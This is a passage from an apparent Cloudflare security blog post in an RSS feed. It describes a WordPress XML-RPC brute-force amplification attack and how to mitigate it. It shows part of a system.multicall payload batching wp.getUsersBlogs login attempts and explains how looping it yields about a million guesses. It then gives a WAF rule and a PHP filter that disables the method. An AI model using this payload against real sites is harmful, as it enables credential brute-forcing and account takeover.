  &lt;member&gt;
	&lt;name&gt;params&lt;/name&gt;&lt;value&gt;&lt;array&gt;&lt;data&gt;
	&lt;value&gt;&lt;array&gt;&lt;data&gt;
	&lt;value&gt;&lt;string&gt;admin&lt;/string&gt;&lt;/value&gt;
	&lt;value&gt;&lt;string&gt;password&lt;/string&gt;&lt;/value&gt;
	&lt;/data&gt;&lt;/array&gt;&lt;/value&gt;
	&lt;/data&gt;&lt;/array&gt;&lt;/value&gt;
  &lt;/member&gt;
  &lt;/struct&gt;&lt;/value&gt;
  &lt;value&gt;&lt;struct&gt;
  &lt;member&gt;
	&lt;name&gt;methodName&lt;/name&gt;
	&lt;value&gt;&lt;string&gt;wp.getUsersBlogs&lt;/string&gt;&lt;/value&gt;
  &lt;/member&gt;
  &lt;member&gt;
	&lt;name&gt;params&lt;/name&gt;
	&lt;value&gt;&lt;array&gt;&lt;data&gt;
	&lt;value&gt;&lt;array&gt;&lt;data&gt;
	  &lt;value&gt;&lt;string&gt;admin&lt;/string&gt;&lt;/value&gt;
	  &lt;value&gt;&lt;string&gt;password&lt;/string&gt;&lt;/value&gt;
	  &lt;/data&gt;&lt;/array&gt;&lt;/value&gt;
	&lt;/data&gt;&lt;/array&gt;&lt;/value&gt;
  &lt;/member&gt;
  &lt;/struct&gt;&lt;/value&gt;
  &lt;/data&gt;&lt;/array&gt;&lt;/value&gt;
  &lt;/param&gt;
&lt;/params&gt;
&lt;/methodCall&gt;</code></pre>
            <p>As you can see, this can lead to very obvious abuse.</p>
    <div>
      <h3>Exploitation</h3>
      <a href="#exploitation">
        
      </a>
    </div>
    <p>During testing, I was able to call the method <code>wp.getUserBlogs</code> 1,000 times in a single HTTP request (limited only by PHP memory issues). If a user creates a simple shell loop that executes one thousand times and runs a PHP script that crafts an HTTP request with one thousand method calls all requiring authentication, then that user would be able to try one million unique logins in a very short period of time.</p><p>This makes brute forcing the login very fast and can run down a pretty large wordlist in a short period of time. Also note that the <code>wp.getUserBlogs</code> method isn’t the only RPC call requiring authentication. It’s possible to use any RPC method which requires authentication to attempt logins and brute force the Wordpress credentials.</p>
    <div>
      <h3>CloudFlare Customers Are Protected</h3>
      <a href="#cloudflare-customers-are-protected">
        
      </a>
    </div>
    <p>When using CloudFlare with a Pro level plan or higher, you have the ability to turn on the Web Application Firewall (WAF) and take advantage of the new WordPress ruleset I created to mitigate this attack—all without any major interaction or supervision on your end.</p><p>Our WAF works by checking HTTP requests for consistencies that line up with known attacks and malicious activities. If a request does appear to be malicious, we drop it at the edge so it never even reaches the customer’s origin server.</p><p>To enable the rule, navigate to your CloudFlare Firewall dashboard, and reference the rule named "Blocks amplified brute force attempts to xmlrpc.php" with the rule ID WP0018.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4UjJTAaaGerRJ928DM0NGv/cc569d79f7675aafdf10d83ef73ea4cc/enabling-xmlrpc-waf-rule.png" />
            
            </figure><p>That’s all there is to it. Now you are protected from the new WordPress XML-RPC brute force amplification attack.</p>
    <div>
      <h3>The Manual Solution</h3>
      <a href="#the-manual-solution">
        
      </a>
    </div>
    <p>Another way to mitigate this attack is by disabling the ability to call the<code>system.multicall</code> method in your Wordpress installation by editing your<code>functions.php</code> file. Adding the function <code>mmx_remove_xmlrpc_methods()</code> will alleviate the problem, like so:</p>
            <pre><code>function mmx_remove_xmlrpc_methods( $methods ) {
	unset( $methods['system.multicall'] );
	return $methods;
}
add_filter( 'xmlrpc_methods', 'mmx_remove_xmlrpc_methods');</code></pre>
            
    <div>
      <h3>Final Thoughts</h3>
      <a href="#final-thoughts">
        
      </a>
    </div>
    <p>XML-RPC can be a useful tool for making changes to WordPress and other web applications; however, improper implementation of certain features can result in unintended consequences. Default-on methods like <code>system.multicall</code> and <code>pingback.ping</code> (we have a <a href="/wordpress-pingback-attacks-and-our-waf/">WAF rule for that one</a>, too) are just a few examples of possible exploits.</p><p>Properly configuring the CloudFlare Web Application Firewall for your Internet facing properties will protect you from such attacks with no changes to your server configuration.</p> ]]></content:encoded>
            <category><![CDATA[WordPress]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Reliability]]></category>
            <guid isPermaLink="false">6gLyPOxWVFfvjEC44cNrMg</guid>
            <dc:creator>Pasha Kravtsov</dc:creator>
        </item>
    </channel>
</rss>